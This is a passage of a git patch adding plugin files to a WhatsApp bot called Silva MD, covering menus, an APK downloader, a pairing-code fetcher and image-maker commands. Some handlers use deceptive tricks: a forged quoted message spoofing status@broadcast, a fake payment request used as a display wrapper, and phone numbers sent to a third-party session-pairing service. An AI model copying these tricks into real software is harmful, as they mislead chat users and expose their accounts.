From 82515a8470fbbad2bdfea09f8b195dd73cbba18e Mon Sep 17 00:00:00 2001 From: Silva Tech <163982940+SilvaTechB@users.noreply.github.com> Date: Fri, 1 Nov 2024 12:37:55 +0300 Subject: [PATCH] SILVA MD BOT --- silvaXlab/Menu2.js | 158 ++++++++++++++++++++++++++++++++ silvaXlab/Modapk.js | 34 +++++++ silvaXlab/Silvapair.js | 69 ++++++++++++++ silvaXlab/main-ping.js | 42 +++++++++ silvaXlab/main-runtime.js | 77 ++++++++++++++++ silvaXlab/main-script.js | 80 ++++++++++++++++ silvaXlab/main-shizo.js | 33 +++++++ silvaXlab/maker-blur.js | 24 +++++ silvaXlab/maker-cartoon.js | 155 +++++++++++++++++++++++++++++++ silvaXlab/maker-horny.js | 24 +++++ silvaXlab/maker-logo.js | 120 ++++++++++++++++++++++++ silvaXlab/maker-quote.js | 112 +++++++++++++++++++++++ silvaXlab/maker-simp.js | 24 +++++ silvaXlab/maker-stupid.js | 26 ++++++ silvaXlab/maker-tweet.js | 22 +++++ silvaXlab/memes-cheems.js | 19 ++++ silvaXlab/mention.js | 24 +++++ silvaXlab/menu.js | 160 ++++++++++++++++++++++++++++++++ silvaXlab/musicdl.js | 104 +++++++++++++++++++++ silvaXlab/nsfw-nsfw.js | 58 ++++++++++++ silvaXlab/owner-addsudo.js | 22 +++++ silvaXlab/owner-allow.js | 22 +++++ silvaXlab/owner-allvars.js | 95 +++++++++++++++++++ silvaXlab/owner-banUser.js | 27 ++++++ silvaXlab/owner-banchat.js | 12 +++ silvaXlab/owner-broadcast.js | 40 ++++++++ silvaXlab/owner-broadcastgc.js | 40 ++++++++ silvaXlab/owner-clearTmp.js | 28 ++++++ silvaXlab/owner-delexpired.js | 17 ++++ silvaXlab/owner-exec.js | 82 +++++++++++++++++ silvaXlab/owner-exec2.js | 23 +++++ silvaXlab/owner-getfile.js | 68 ++++++++++++++ silvaXlab/owner-inspect.js | 51 +++++++++++ silvaXlab/owner-join.js | 115 +++++++++++++++++++++++ silvaXlab/owner-logout.js | 162 +++++++++++++++++++++++++++++++++ silvaXlab/owner-resetUser.js | 54 +++++++++++ silvaXlab/owner-resetprefix.js | 17 ++++ silvaXlab/owner-restart.js | 16 ++++ silvaXlab/owner-savefile.js | 14 +++ silvaXlab/owner-setprefix.js | 20 ++++ silvaXlab/owner-setprivacy.js | 138 ++++++++++++++++++++++++++++ silvaXlab/owner-un-block.js | 41 +++++++++ silvaXlab/pay.js | 62 +++++++++++++ silvaXlab/pies-chinese.js | 19 ++++ silvaXlab/pies-indian.js | 19 ++++ silvaXlab/silva5 | 1 + silvaXlab/sw.js | 117 ++++++++++++++++++++++++ 47 files changed, 2687 insertions(+) create mode 100644 silvaXlab/Menu2.js create mode 100644 silvaXlab/Modapk.js create mode 100644 silvaXlab/Silvapair.js create mode 100644 silvaXlab/main-ping.js create mode 100644 silvaXlab/main-runtime.js create mode 100644 silvaXlab/main-script.js create mode 100644 silvaXlab/main-shizo.js create mode 100644 silvaXlab/maker-blur.js create mode 100644 silvaXlab/maker-cartoon.js create mode 100644 silvaXlab/maker-horny.js create mode 100644 silvaXlab/maker-logo.js create mode 100644 silvaXlab/maker-quote.js create mode 100644 silvaXlab/maker-simp.js create mode 100644 silvaXlab/maker-stupid.js create mode 100644 silvaXlab/maker-tweet.js create mode 100644 silvaXlab/memes-cheems.js create mode 100644 silvaXlab/mention.js create mode 100644 silvaXlab/menu.js create mode 100644 silvaXlab/musicdl.js create mode 100644 silvaXlab/nsfw-nsfw.js create mode 100644 silvaXlab/owner-addsudo.js create mode 100644 silvaXlab/owner-allow.js create mode 100644 silvaXlab/owner-allvars.js create mode 100644 silvaXlab/owner-banUser.js create mode 100644 silvaXlab/owner-banchat.js create mode 100644 silvaXlab/owner-broadcast.js create mode 100644 silvaXlab/owner-broadcastgc.js create mode 100644 silvaXlab/owner-clearTmp.js create mode 100644 silvaXlab/owner-delexpired.js create mode 100644 silvaXlab/owner-exec.js create mode 100644 silvaXlab/owner-exec2.js create mode 100644 silvaXlab/owner-getfile.js create mode 100644 silvaXlab/owner-inspect.js create mode 100644 silvaXlab/owner-join.js create mode 100644 silvaXlab/owner-logout.js create mode 100644 silvaXlab/owner-resetUser.js create mode 100644 silvaXlab/owner-resetprefix.js create mode 100644 silvaXlab/owner-restart.js create mode 100644 silvaXlab/owner-savefile.js create mode 100644 silvaXlab/owner-setprefix.js create mode 100644 silvaXlab/owner-setprivacy.js create mode 100644 silvaXlab/owner-un-block.js create mode 100644 silvaXlab/pay.js create mode 100644 silvaXlab/pies-chinese.js create mode 100644 silvaXlab/pies-indian.js create mode 100644 silvaXlab/silva5 create mode 100644 silvaXlab/sw.js diff --git a/silvaXlab/Menu2.js b/silvaXlab/Menu2.js new file mode 100644 index 0000000..55298dd --- /dev/null +++ b/silvaXlab/Menu2.js @@ -0,0 +1,158 @@ +import { createHash } from 'crypto' +import PhoneNumber from 'awesome-phonenumber' +import { canLevelUp, xpRange } from '../lib/levelling.js' +import fetch from 'node-fetch' +import fs from 'fs' +const { levelling } = '../lib/levelling.js' +import moment from 'moment-timezone' +import { promises } from 'fs' +import { join } from 'path' +const time = moment.tz('Asia/Kolkata').format('HH') +let wib = moment.tz('Asia/Kolkata').format('HH:mm:ss') +//import db from '../lib/database.js' + +let handler = async (m, { conn, usedPrefix, command}) => { + let d = new Date(new Date + 3600000) + let locale = 'en' + let week = d.toLocaleDateString(locale, { weekday: 'long' }) + let date = d.toLocaleDateString(locale, { day: 'numeric', month: 'long', year: 'numeric' }) + let _uptime = process.uptime() * 1000 + let uptime = clockString(_uptime) +let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender +if (!(who in global.db.data.users)) throw `โœณ๏ธ The user is not found in my database` +let pp = './jusorts/sylivanus.jpg' +let user = global.db.data.users[who] +let { name, exp, diamond, lastclaim, registered, regTime, age, level, role, warn } = global.db.data.users[who] +let { min, xp, max } = xpRange(user.level, global.multiplier) +let username = conn.getName(who) +let math = max - xp +let prem = global.prems.includes(who.split`@`[0]) +let sn = createHash('md5').update(who).digest('hex') +let totaluser = Object.values(global.db.data.users).length +let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length +let more = String.fromCharCode(8206) +let readMore = more.repeat(850) +let greeting = ucapan() +let quote = quotes[Math.floor(Math.random() * quotes.length)]; + +let taguser = '@' + m.sender.split("@s.whatsapp.net")[0] +let str = ` +๐Ÿš€ *_Buckle up ${name}, ${greeting}! We're going on an adventure!_* ๐Ÿš€ + +๐Ÿ“œ *_Quote of the day: ${quote}_* ๐Ÿ“œ + +โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ ๐ŸŒŸ *User Info:* ๐ŸŒŸ +โ•‘โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ +โ•‘ ๐Ÿ‘พ *User Tag:* ${taguser} +โ•‘ ๐ŸŽฉ *Name:* ${name} +โ•‘ ๐Ÿฆธ *Master Mind:* SILVA TECH INC +โ•‘ ๐Ÿ’Ž *Diamonds:* ${diamond} +โ•‘ ๐Ÿ† *Rank:* ${role} +โ•‘ ๐ŸŽฎ *XP:* ${exp} +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• + +โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ ๐Ÿ“… *Today's Sauce!* ๐Ÿ“… +โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ +โ•‘ ๐Ÿ“† *Today's Date:* ${date} +โ•‘ โฒ๏ธ *Current Time:* ${wib} +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• + +โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•— +โ•‘ ๐Ÿค– *BOT STATUS:* ๐Ÿค– +โ• โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ +โ•‘ ๐Ÿคก *Bot Name:* ${botname} +โ•‘ ๐Ÿ’ป *Platform:* HEROKU +โ•‘ ๐Ÿ“ฃ *Prefix:* ${usedPrefix} +โ•‘ ๐Ÿ•“ *Uptime:* ${uptime} +โ•‘ ๐Ÿ’Œ *Database:* ${rtotalreg} of ${totaluser} +โ•‘ ๐Ÿ“š *Total Users:* ${totaluser} +โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ• + +๐Ÿ’ก *_Remember, when in doubt, use ${usedPrefix}list or ${usedPrefix}help2. It's like my magic spell book!_* ๐Ÿ’ก +` + + + conn.sendFile(m.chat, pp, 'perfil.jpg', str, m, null, rpyt) + m.react(done) + +} +handler.help = ['main'] +handler.tags = ['group'] +handler.command = ['menu3', 'help3'] + +export default handler +function clockString(ms) { + let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) + let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 + let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 + return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')} + + function ucapan() { + const time = moment.tz('Asia/Kolkata').format('HH') + let res = "happy early in the dayโ˜€๏ธ" + if (time >= 4) { + res = "Good Morning ๐ŸŒ„" + } + if (time >= 10) { + res = "Good Afternoon โ˜€๏ธ" + } + if (time >= 15) { + res = "Good Afternoon ๐ŸŒ‡" + } + if (time >= 18) { + res = "Good Night ๐ŸŒ™" + } + return res + } + const quotes = [ + "I'm not lazy, I'm just on my energy saving mode.", + "Life is short, smile while you still have teeth.", + "I may be a bad influence, but darn I am fun!", + "I'm on a whiskey diet. I've lost three days already.", + "Why don't some couples go to the gym? Because some relationships don't work out.", + "I told my wife she should embrace her mistakes... She gave me a hug.", + "I'm great at multitasking. I can waste time, be unproductive, and procrastinate all at once.", + "You know you're getting old when you stoop to tie your shoelaces and wonder what else you could do while you're down there.", + "I'm so good at sleeping, I can do it with my eyes closed.", + "If you think nobody cares if youโ€™re alive, try missing a couple of payments.", + "I used to think I was indecisive, but now I'm not so sure.", + "If you can't convince them, confuse them.", + "I told my wife she was drawing her eyebrows too high. She looked surprised.", + "I'm not clumsy, I'm just on a mission to test gravity.", + "I told my wife she should do more push-ups. She said, 'I could do a hundred!' So I counted to ten and stopped.", + "Life is like a box of chocolates; it doesn't last long if you're hungry.", + "I'm not saying I'm Wonder Woman, I'm just saying no one has ever seen me and Wonder Woman in the same room together.", + "Why do they call it beauty sleep when you wake up looking like a troll?", + "I don't always lose my phone, but when I do, it's always on silent.", + "My bed is a magical place where I suddenly remember everything I was supposed to do.", + "I love the sound you make when you shut up.", + "I'm not arguing, I'm just explaining why I'm right.", + "I'm not a complete idiot, some parts are missing.", + "When life gives you lemons, squirt someone in the eye.", + "I don't need anger management. You just need to stop making me angry.", + "I'm not saying I'm Batman. I'm just saying no one has ever seen me and Batman in the same room together.", + "I'm not saying I'm Superman. I'm just saying no one has ever seen me and Superman in the same room together.", + "I'm not saying I'm Spider-Man. I'm just saying no one has ever seen me and Spider-Man in the same room together.", + "I'm not saying I'm a superhero. I'm just saying no one has ever seen me and a superhero in the same room together.", + "The early bird can have the worm because worms are gross and mornings are stupid.", + "If life gives you lemons, make lemonade. Then find someone whose life has given them vodka and have a party!", + "The road to success is always under construction.", + "I am so clever that sometimes I don't understand a single word of what I am saying.", + "Some people just need a high-five. In the face. With a chair.", + "I'm not saying I'm perfect, but I'm pretty close.", + "A day without sunshine is like, you know, night.", + "The best way to predict the future is to create it.", + "If you can't be a good example, then you'll just have to be a horrible warning.", + "I don't know why I keep hitting the escape button. I'm just trying to get out of here.", + "I'm not lazy. I'm on energy-saving mode.", + "I don't need a hairstylist, my pillow gives me a new hairstyle every morning.", + "I don't have a bad handwriting, I have my own font.", + "I'm not clumsy. It's just the floor hates me, the table and chairs are bullies, and the walls get in my way.", + "I'm not saying I'm Batman. I'm just saying no one has ever seen me and Batman in the same room together.", + "I'm not saying I'm Wonder Woman. I'm just saying no one has ever seen me and Wonder Woman in the same room together.", + "I'm not saying I'm Superman. I'm just saying no one has ever seen me and Superman in the same room together.", + "I'm not saying I'm Spider-Man. I'm just saying no one has ever seen me and Spider-Man in the same room together.", + "I'm not saying I'm a superhero. I'm just saying no one has ever seen me and a superhero in the same room together.", +]; diff --git a/silvaXlab/Modapk.js b/silvaXlab/Modapk.js new file mode 100644 index 0000000..c8f131e --- /dev/null +++ b/silvaXlab/Modapk.js @@ -0,0 +1,34 @@ +import { download } from 'aptoide-scraper'; + +let handler = async (m, { conn, usedPrefix: prefix, command, text }) => { + try { + if (command === 'modapk') { + if (!text) throw `*[โ—] Please provide the APK Name you want to download.*`; + + await conn.reply(m.chat, global.wait, m); + let data = await download(text); + + if (data.size.replace(' MB', '') > 200) { + return await conn.sendMessage(m.chat, { text: '*[โ›”] The file is too large.*' }, { quoted: m }); + } + + if (data.size.includes('GB')) { + return await conn.sendMessage(m.chat, { text: '*[โ›”] The file is too large.*' }, { quoted: m }); + } + + await conn.sendMessage( + m.chat, + { document: { url: data.dllink }, mimetype: 'application/vnd.android.package-archive', fileName: data.name + '.apk', caption: null }, + { quoted: m } + ) + } + } catch { + throw `*[โ—] An error occurred. Make sure to provide a valid link.*`; + } +}; + +handler.help = ['modapk'] +handler.tags = ['downloader'] +handler.command = /^modapk$/i; +export default handler; + diff --git a/silvaXlab/Silvapair.js b/silvaXlab/Silvapair.js new file mode 100644 index 0000000..905449b --- /dev/null +++ b/silvaXlab/Silvapair.js @@ -0,0 +1,69 @@ +import fetch from "node-fetch"; +import "@whiskeysockets/baileys"; + +// Cooldown map to track requests +let cooldown = new Map(); + +let handler = async (m, { conn, args }) => { + const currentTime = Date.now(); + const lastRequestTime = cooldown.get(m.sender); + + // 20-minute cooldown for non-owner users + if (m.sender !== "923092668108@s.whatsapp.net" && lastRequestTime && currentTime - lastRequestTime < 1200000) { + const remainingTime = 1200000 - (currentTime - lastRequestTime); + const minutes = Math.floor(remainingTime / 60000); + const seconds = Math.floor((remainingTime % 60000) / 1000); + return conn.reply(m.chat, `Please wait ${minutes} minute(s) and ${seconds} second(s) before requesting again.`, m); + } + + // Check if phone number argument is provided + if (!args[0]) { + return conn.reply(m.chat, "Please provide a phone number.\n*Example:* *.getpair 254700143167*", m); + } + + const phoneNumber = encodeURIComponent(args[0]); + const apiUrl = `https://creds-session.onrender.com/pair?phone=${phoneNumber}`; + + m.reply("*Wait while we retrieve your pairing code...*"); + + try { + // Fetch pairing code from API + const response = await fetch(apiUrl); + + if (!response.ok) { + throw new Error(`Failed to fetch pairing code. ${response.statusText}`); + } + + const result = await response.json(); + + if (result.code) { + const pairingCode = result.code; + const message = ` +*silva md Pairing Code ๐Ÿซ‚* + +๐Ÿ’ฌ A verification code has been sent to your phone number. Please check your phone and enter this code to complete pairing. + +*๐Ÿ”ข Code:* \`${pairingCode}\` + `; + // Send pairing code message + await conn.reply(m.chat, message, m); + + // Update cooldown + cooldown.set(m.sender, currentTime); + } else if (result.error) { + conn.reply(m.chat, `Error: ${result.error}`, m); + } else { + conn.reply(m.chat, `Unexpected response format: ${JSON.stringify(result)}`, m); + } + } catch (error) { + conn.reply(m.chat, `Error: ${error.message}`, m); + } +}; + +handler.help = ["getpair", "getcode"]; +handler.tags = ["tools"]; +handler.command = ["getpair", "getcode", "paircode"]; +handler.owner = false; +handler.private = true; + +export default handler; diff --git a/silvaXlab/main-ping.js b/silvaXlab/main-ping.js new file mode 100644 index 0000000..b2f18e8 --- /dev/null +++ b/silvaXlab/main-ping.js @@ -0,0 +1,42 @@ +import { exec } from 'child_process' +import speed from 'performance-now' + +let handler = async (m, { conn }) => { + let thumbnail = 'https://www.guruapi.tech/K.jpg' + let fgg = { + key: { fromMe: false, participant: `0@s.whatsapp.net`, remoteJid: 'status@broadcast' }, + message: { + contactMessage: { + displayName: `SILVA MD`, + vcard: `BEGIN:VCARD\nVERSION:3.0\nN:;a,;;;\nFN:'SILVA MD'\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`, + }, + }, + } + let pingMsg = await conn.sendMessage(m.chat, { text: 'SPEED...' }, { quoted: fgg }) + + let timestamp = speed() + + await exec('neofetch --stdout', async (error, stdout) => { + let latency = (speed() - timestamp).toFixed(4) + + await conn.relayMessage( + m.chat, + { + protocolMessage: { + key: pingMsg.key, + type: 14, + editedMessage: { + conversation: `*SILVA ๐Ÿ˜’๐Ÿ˜’ LATENCY:* *${latency} ms*`, + }, + }, + }, + {} + ) + }) +} + +handler.help = ['ping'] +handler.tags = ['main'] +handler.command = ['ping', 'speed'] + +export default handler diff --git a/silvaXlab/main-runtime.js b/silvaXlab/main-runtime.js new file mode 100644 index 0000000..052a637 --- /dev/null +++ b/silvaXlab/main-runtime.js @@ -0,0 +1,77 @@ +//made with โค๏ธ by Shizo +import { cpus as _cpus, totalmem, freemem } from 'os' +import util from 'util' +import os from 'os' +import { performance } from 'perf_hooks' +import { sizeFormatter } from 'human-readable' +let format = sizeFormatter({ + std: 'JEDEC', // 'SI' (default) | 'IEC' | 'JEDEC' + decimalPlaces: 2, + keepTrailingZeroes: false, + render: (literal, symbol) => `${literal} ${symbol}B`, +}) +let handler = async (m, { conn, isRowner}) => { + let _muptime + if (process.send) { + process.send('uptime') + _muptime = await new Promise(resolve => { + process.once('message', resolve) + setTimeout(resolve, 1000) + }) * 1000 + } + let muptime = clockString(_muptime) + const chats = Object.entries(conn.chats).filter(([id, data]) => id && data.isChats) + const groupsIn = chats.filter(([id]) => id.endsWith('@g.us')) //groups.filter(v => !v.read_only) + const used = process.memoryUsage() + const cpus = _cpus().map(cpu => { + cpu.total = Object.keys(cpu.times).reduce((last, type) => last + cpu.times[type], 0) + return cpu + }) + const cpu = cpus.reduce((last, cpu, _, { length }) => { + last.total += cpu.total + last.speed += cpu.speed / length + last.times.user += cpu.times.user + last.times.nice += cpu.times.nice + last.times.sys += cpu.times.sys + last.times.idle += cpu.times.idle + last.times.irq += cpu.times.irq + return last + }, { + speed: 0, + total: 0, + times: { + user: 0, + nice: 0, + sys: 0, + idle: 0, + irq: 0 + } + }) + let old = performance.now() + + await conn.sendMessage(m.chat, { + react: { + text: `โฑ๏ธ`, + key: m.key, + }}) + let neww = performance.now() + let speed = neww - old +let text = `${muptime}` +await conn.sendMessage(m.chat, { text: text, mentions: [m.sender] }, { quoted: m }) + +} +handler.help = ['runtime'] +handler.tags = ['info'] +handler.command = /^(uptime|runtime)$/i +export default handler + +const more = String.fromCharCode(8206) +const readMore = more.repeat(4001) + +function clockString(ms) { + let d = isNaN(ms) ? '--' : Math.floor(ms / 86400000) + let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) % 24 + let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60 + let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60 + return [d, 'SILVA-MD running time\n *Days โ˜€๏ธ*\n ', h, ' *Hours ๐Ÿ•*\n ', m, ' *Minute โฐ*\n ', s, ' *Second โฑ๏ธ* '].map(v => v.toString().padStart(2, 0)).join('') +} diff --git a/silvaXlab/main-script.js b/silvaXlab/main-script.js new file mode 100644 index 0000000..f3416a3 --- /dev/null +++ b/silvaXlab/main-script.js @@ -0,0 +1,80 @@ +import { promises } from 'fs' +import { join } from 'path' +import axios from 'axios' + +let handler = async function (m, { conn, __dirname }) { + const githubRepoURL = 'https://github.com/SilvaTechB/silva-md-bot' + + try { + const [, username, repoName] = githubRepoURL.match(/github\.com\/([^/]+)\/([^/]+)/) + + const response = await axios.get(`https://api.github.com/repos/${username}/${repoName}`) + + if (response.status === 200) { + const repoData = response.data + + // Format the repository information with emojis + const formattedInfo = ` + ๐Ÿ‘๐Ÿ†๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“๐Ÿ’ฆโ˜ฃ +๐Ÿ“‚ Repository Name: ${repoData.name} +๐Ÿ“ Description: ${repoData.description} +๐Ÿ‘ค Owner: ${repoData.owner.login} +โญ Stars: ${repoData.stargazers_count} +๐Ÿด Forks: ${repoData.forks_count} +๐ŸŒ URL: ${repoData.html_url} + \`๐Ÿš€ OUR REPOSITORY\` +*Welcome to Silva MD! ๐Ÿค–โœจ* + +_Get Started: Welcome to the Silva MD WhatsApp bot repository! ๐ŸŽ‰ Feel free to fork this project and customize it for your own WhatsApp experience._ + +*How to Use:* + +1. *Fork the Repository:* Click on the โ€œForkโ€ button to create your own copy. +2. *Set Up Your Bot:* Follow the setup instructions in the README file. +3. *Enjoy Your Bot:* Start chatting with Silva MD and explore its features! ๐Ÿ’ฌ + +Thank you for joining our community! If you have any questions, donโ€™t hesitate to reach out. Happy coding! ๐Ÿš€ +> Trying to make it a user friendly bot + +*_DEPLOY ๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“ NOW_* + +\`\`\`USER FRIENDLY ๐’๐ˆ๐‹๐•๐€ ๐Œ๐ƒ ๐๐Ž๐“๐Ÿ’ฅ\`\`\` +`.trim() + + // Send the formatted information as a message + await conn.relayMessage( + m.chat, + { + requestPaymentMessage: { + currencyCodeIso4217: 'INR', + amount1000: 690000000000, + requestFrom: m.sender, + noteMessage: { + extendedTextMessage: { + text: formattedInfo, + contextInfo: { + externalAdReply: { + showAdAttribution: true, + }, + }, + }, + }, + }, + }, + {} + ) + } else { + // Handle the case where the API request fails + await conn.reply(m.chat, 'Unable to fetch repository information.', m) + } + } catch (error) { + console.error(error) + await conn.reply(m.chat, 'An error occurred while fetching repository information.', m) + } +} + +handler.help = ['script'] +handler.tags = ['main'] +handler.command = ['sc', 'repo', 'script'] + +export default handler diff --git a/silvaXlab/main-shizo.js b/silvaXlab/main-shizo.js new file mode 100644 index 0000000..4983533 --- /dev/null +++ b/silvaXlab/main-shizo.js @@ -0,0 +1,33 @@ +let handler = async m => + m.reply( + ` + +โ‰ก SILVA-MD-BOT GROUPS + +โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +โ–ข Join public bot group and support +https://whatsapp.com/channel/0029VaAkETLLY6d8qhLmZt2v + +โ–ข Group 2 +https://whatsapp.com/channel/0029VaAkETLLY6d8qhLmZt2v + +โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +โ‰ก Disabled links? enter here! + +โ–ข channel WhatsApp + https://whatsapp.com/channel/0029VaFytPbAojYm7RIs6l1x +โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +โ–ข *Owner instagram* + https://instagram.com/its_silva + +โ–ข *YouTube* +โ€ข https://www.youtube.com/@silvaedits254 + + +`.trim() + ) +handler.help = ['ruth'] +handler.tags = ['main'] +handler.command = ['groups', 'groupsilva', 'silvagp', 'sgp', 'grp'] + +export default handler diff --git a/silvaXlab/maker-blur.js b/silvaXlab/maker-blur.js new file mode 100644 index 0000000..f240284 --- /dev/null +++ b/silvaXlab/maker-blur.js @@ -0,0 +1,24 @@ +let handler = async (m, { conn, usedprefix }) => { + let who = m.quoted + ? m.quoted.sender + : m.mentionedJid && m.mentionedJid[0] + ? m.mentionedJid[0] + : m.fromMe + ? conn.user.jid + : m.sender + conn.sendFile( + m.chat, + global.API('https://some-random-api.com', '/canvas/misc/blur', { + avatar: await conn + .profilePictureUrl(who, 'image') + .catch(_ => 'https://files.catbox.moe/8324jm.jpg'), + }), + 'hornycard.png', + '*[ โœ” ]*', + m + ) +} +handler.help = ['blur', 'difuminar2'] +handler.tags = ['maker'] +handler.command = /^(blur|difuminar2)$/i +export default handler diff --git a/silvaXlab/maker-cartoon.js b/silvaXlab/maker-cartoon.js new file mode 100644 index 0000000..a86e3f4 --- /dev/null +++ b/silvaXlab/maker-cartoon.js @@ -0,0 +1,155 @@ +import axios from 'axios' +import jimp from 'jimp' +import FormData from 'form-data' +import { Sticker, createSticker, StickerTypes } from 'wa-sticker-formatter' + +async function GetBuffer(url) { + return new Promise(async (resolve, reject) => { + let buffer + await jimp + .read(url) + .then(image => { + image.getBuffer(image._originalMime, function (err, res) { + buffer = res + }) + }) + .catch(reject) + if (!Buffer.isBuffer(buffer)) reject(false) + resolve(buffer) + }) +} +function GetType(Data) { + return new Promise((resolve, reject) => { + let Result, Status + if (Buffer.isBuffer(Data)) { + Result = new Buffer.from(Data).toString('base64') + Status = 0 + } else { + Status = 1 + } + resolve({ + status: Status, + result: Result, + }) + }) +} +async function Cartoon(url) { + return new Promise(async (resolve, reject) => { + let Data + try { + let buffer = await GetBuffer(url) + let Base64 = await GetType(buffer) + await axios + .request({ + url: 'https://access1.imglarger.com/PhoAi/Upload', + method: 'POST', + headers: { + connection: 'keep-alive', + accept: 'application/json, text/plain, */*', + 'content-type': 'application/json', + }, + data: JSON.stringify({ + type: 11, + base64Image: Base64.result, + }), + }) + .then(async ({ data }) => { + let code = data.data.code + let type = data.data.type + while (true) { + let LopAxios = await axios.request({ + url: 'https://access1.imglarger.com/PhoAi/CheckStatus', + method: 'POST', + headers: { + connection: 'keep-alive', + accept: 'application/json, text/plain, */*', + 'content-type': 'application/json', + }, + data: JSON.stringify({ + code: code, + isMember: 0, + type: type, + }), + }) + let status = LopAxios.data.data.status + if (status == 'success') { + Data = { + message: 'success', + download: { + full: LopAxios.data.data.downloadUrls[0], + head: LopAxios.data.data.downloadUrls[1], + }, + } + break + } else if (status == 'noface') { + Data = { + message: 'noface', + } + break + } + } + }) + } catch (_error) { + Data = false + } finally { + if (Data == false) { + reject(false) + } + resolve(Data) + } + }) +} +function randomId() { + return Math.floor(100000 + Math.random() * 900000) +} +let handler = async (m, { conn, usedPrefix, command }) => { + conn.cartoon = conn.cartoon ? conn.cartoon : {} + if (m.sender in conn.cartoon) + throw "There is still an unfinished process, my friend. Please wait until it's over. >//<" + let q = m.quoted ? m.quoted : m + let mime = (q.msg || q).mimetype || q.mediaType || '' + if (!mime) throw `Where is the picture you want to convert to a cartoon?` + if (!/image\/(jpe?g|png)/.test(mime)) throw `file ${mime} not supported` + else conn.cartoon[m.sender] = true + m.reply('converting the picture to cartoon') + let img = await q.download?.() + try { + Cartoon(img).then(async response => { + if (response.message == 'success') { + await conn.sendFile( + m.chat, + response.download.full, + '', + 'The operation was successfulโ™ฅ >//<', + m + ) + let name = await conn.getName(m.sender), + sticker = new Sticker(response.download.head, { + pack: global.packname, + author: name, + type: StickerTypes.FULL, + categories: ['๐Ÿคฉ', '๐ŸŽ‰'], + id: randomId(), + quality: 100, + background: '#00000000', + }) + conn.sendMessage(m.chat, await sticker.toMessage(), { quoted: m }) + } else { + m.reply( + 'Excuse me my friend, the picture does not reveal a face, please send a picture in which the face is exposed and visible.' + ) + } + }) + } catch { + m.reply('Process failed :(') + } finally { + conn.cartoon[m.sender] ? delete conn.cartoon[m.sender] : false + } +} +handler.help = ['tocartoon'] +handler.tags = ['AI'] +handler.command = ['tocartoon'] + +handler.premium = false + +export default handler diff --git a/silvaXlab/maker-horny.js b/silvaXlab/maker-horny.js new file mode 100644 index 0000000..639339c --- /dev/null +++ b/silvaXlab/maker-horny.js @@ -0,0 +1,24 @@ +let handler = async (m, { conn }) => { + let who = m.quoted + ? m.quoted.sender + : m.mentionedJid && m.mentionedJid[0] + ? m.mentionedJid[0] + : m.fromMe + ? conn.user.jid + : m.sender + conn.sendFile( + m.chat, + global.API('https://some-random-api.com', '/canvas/misc/horny', { + avatar: await conn + .profilePictureUrl(who, 'image') + .catch(_ => 'https://files.catbox.moe/8324jm.jpg'), + }), + 'hornycard.png', + '*so horny ๐Ÿฅต๐Ÿ”ฅ*', + m + ) +} +handler.help = ['hornycard', 'hornylicense'] +handler.tags = ['maker'] +handler.command = /^(hornycard|license)$/i +export default handler diff --git a/silvaXlab/maker-logo.js b/silvaXlab/maker-logo.js new file mode 100644 index 0000000..df15c66 --- /dev/null +++ b/silvaXlab/maker-logo.js @@ -0,0 +1,120 @@ +let handler = async (m, { conn, args, text, usedPrefix, command }) => { + let tee = `โœณ๏ธ Enter a short text\n\n๐Ÿ“Œ Example : *${usedPrefix + command}* SILVA` + let too = `โœณ๏ธ Separate the text with a *+* \n\n๐Ÿ“Œ Example : \n*${usedPrefix + command}* SILVA *+* BOT` + + m.react(rwait) + + let type = command.toLowerCase() + + switch (type) { + case 'gfx1': + if (!text) throw tee + let chut = `https://api.caliph.biz.id/api/kaneki?nama=${encodeURIComponent(text)}&apikey=caliphkey` + conn.sendFile(m.chat, chut, 'logo.png', `โœ… Result`, m) + m.react(done) + break + + case 'gfx2': + if (!text) throw too + if (!text.includes('+')) throw too + let [a, b] = text.split('+') + let loda = `https://api.caliph.biz.id/api/girlneko?nama=${encodeURIComponent(a.trim())}&nama2=${encodeURIComponent(b.trim())}&apikey=caliphkey` + conn.sendFile(m.chat, loda, 'logo.png', `โœ… Result`, m) + + m.react(done) + break + + case 'gfx3': + if (!text) throw tee + let cp = 